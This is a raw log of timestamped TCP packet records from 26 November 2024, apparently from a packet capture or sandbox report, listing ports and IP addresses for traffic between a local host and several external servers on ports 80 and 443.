Nov 26, 2024 08:04:00.277654886 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.277697086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.277759075 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.277796984 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.278750896 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.278840065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.278840065 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.278882027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.279814959 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.279865980 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.279922962 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.279968023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.280936956 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.280994892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.281023026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.281069994 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.282018900 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.282072067 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.282126904 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.282166004 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.283355951 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.283401012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.283466101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.283509970 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.284446955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.284496069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.284519911 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.284558058 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.285340071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.285387039 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.285442114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.285528898 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.286457062 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.286505938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.286561012 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.286607027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.287628889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.287678003 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.287731886 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.287806034 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.288687944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.288736105 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.288737059 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.288769960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.289794922 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.289844990 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.289860964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.289900064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.290889978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.290962934 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.290990114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.291088104 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.291968107 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.292030096 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.292079926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.292169094 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.293092966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.293169022 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.293171883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.293210030 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.294193983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.294311047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.294317961 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.294349909 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.295308113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.295356989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.295418024 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.295476913 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.296410084 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.296478987 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.296550035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.296652079 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.297537088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.297672033 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.297692060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.297734976 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.298604965 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.298747063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.298770905 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.298782110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.299743891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.299791098 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.299825907 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.299865007 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.300821066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.300878048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.300964117 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.301012993 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.301963091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.302011967 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.348182917 CET	443	49831	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.348217010 CET	443	49831	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.348263025 CET	49831	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.348278046 CET	443	49831	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.348318100 CET	443	49831	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.348370075 CET	49831	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.350516081 CET	49831	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.350537062 CET	443	49831	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.356439114 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.356457949 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.356559038 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.356777906 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:00.356790066 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:00.382059097 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407186985 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407203913 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407237053 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407260895 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407259941 CET	49830	443	192.168.2.8	152.195.19.97
Nov 26, 2024 08:04:00.407289028 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407306910 CET	49830	443	192.168.2.8	152.195.19.97
Nov 26, 2024 08:04:00.407306910 CET	49830	443	192.168.2.8	152.195.19.97
Nov 26, 2024 08:04:00.407335997 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.407493114 CET	49830	443	192.168.2.8	152.195.19.97
Nov 26, 2024 08:04:00.407500982 CET	443	49830	152.195.19.97	192.168.2.8
Nov 26, 2024 08:04:00.422663927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.422718048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.422751904 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.422790051 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.422940016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.422981024 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.423093081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.423135996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.424055099 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.424127102 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.424166918 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.424293041 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.425165892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.425209999 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.425273895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.425307989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.426311970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.426358938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.426425934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.426557064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.427386045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.427453041 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.427587986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.427643061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.428534985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.428584099 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.428689957 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.428733110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.429661036 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.429754019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.452814102 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.452879906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.452912092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.452985048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.453316927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:04:00.453499079 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:00.587992907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:04:00.588129997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:00.719034910 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:04:00.719058990 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:04:00.719360113 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:04:00.719377041 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:04:00.731479883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:00.732017040 CET	49833	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:00.851609945 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:04:00.851885080 CET	80	49833	185.215.113.206	192.168.2.8
Nov 26, 2024 08:04:00.852006912 CET	49833	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:00.852833033 CET	49833	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:00.972765923 CET	80	49833	185.215.113.206	192.168.2.8
Nov 26, 2024 08:04:01.624598980 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:01.625158072 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:01.625166893 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:01.625521898 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:01.630168915 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:01.630289078 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:01.630338907 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:01.671346903 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:01.679429054 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.078512907 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.078542948 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.078551054 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.078577995 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.078613043 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.078630924 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.078630924 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.079435110 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.080137968 CET	49832	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.080154896 CET	443	49832	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.086152077 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.086209059 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.086985111 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.087189913 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:02.087204933 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:02.782921076 CET	80	49833	185.215.113.206	192.168.2.8
Nov 26, 2024 08:04:02.786257982 CET	49833	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:03.400928020 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.401186943 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:03.401221991 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.401612043 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.401918888 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:03.401988029 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.402050972 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:03.447339058 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.871021032 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.871048927 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.871124983 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:03.871134043 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:03.871258974 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:04.030399084 CET	49836	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:04.030448914 CET	443	49836	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:04.061377048 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:04.061419010 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:04.061479092 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:04.061676979 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:04.061691999 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.328469992 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.382411003 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.569791079 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.569818020 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.570303917 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.571741104 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.572000980 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.572010040 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.572021961 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.614857912 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.689604998 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:05.689704895 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:05.689759970 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:04:05.915461063 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915483952 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915491104 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915512085 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915540934 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.915565968 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915576935 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.915580034 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.915627003 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.918369055 CET	49837	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.918381929 CET	443	49837	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.924801111 CET	49797	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:04:05.924819946 CET	443	49797	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:05.925215960 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.925318003 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:05.925388098 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.925590038 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:05.925627947 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:06.002263069 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:06.002351046 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:04:06.002396107 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:04:06.061177969 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:06.061283112 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:06.061369896 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:06.061908960 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:06.061940908 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:06.540999889 CET	49833	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:04:06.544045925 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:04:07.241161108 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.242002964 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.242074013 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.242432117 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.242943048 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.242944002 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.242989063 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.243046045 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.447334051 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.454261065 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.696168900 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.696196079 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.696273088 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.696283102 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.696355104 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.702370882 CET	49838	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:04:07.702414036 CET	443	49838	23.200.3.19	192.168.2.8
Nov 26, 2024 08:04:07.762181044 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:07.762259960 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:07.767117977 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:07.767138958 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:07.767385006 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:07.770915985 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:07.815334082 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.446424007 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.446448088 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.446468115 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.446502924 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.446541071 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.446559906 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.446583033 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482470989 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.482521057 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.482537985 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482554913 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.482573986 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482599020 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.482639074 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482734919 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482752085 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:08.482765913 CET	49839	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:04:08.482772112 CET	443	49839	20.109.210.53	192.168.2.8
Nov 26, 2024 08:04:09.686152935 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:09.686337948 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:09.686393976 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:04:09.698488951 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:09.698565006 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:04:09.698707104 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:04:25.307655096 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:25.307692051 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:25.307791948 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:25.308211088 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:25.308224916 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.023648024 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.023730993 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.025396109 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.025407076 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.025634050 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.034163952 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.079329014 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.504401922 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.504430056 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.504445076 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.504501104 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.504513025 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.504556894 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.688676119 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.688704967 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.688785076 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.688797951 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.688842058 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.729381084 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.729407072 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.729496956 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.729517937 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.729574919 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.853065968 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.853096008 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.853138924 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.853148937 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.853193045 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.882164001 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.882194042 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.882376909 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.882391930 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.882438898 CET	49840	443	192.168.2.8	13.107.246.63
Nov 26, 2024 08:04:27.906547070 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.906572104 CET	443	49840	13.107.246.63	192.168.2.8
Nov 26, 2024 08:04:27.906646967 CET	49840	443	192.168.2.8	13.107.246.63
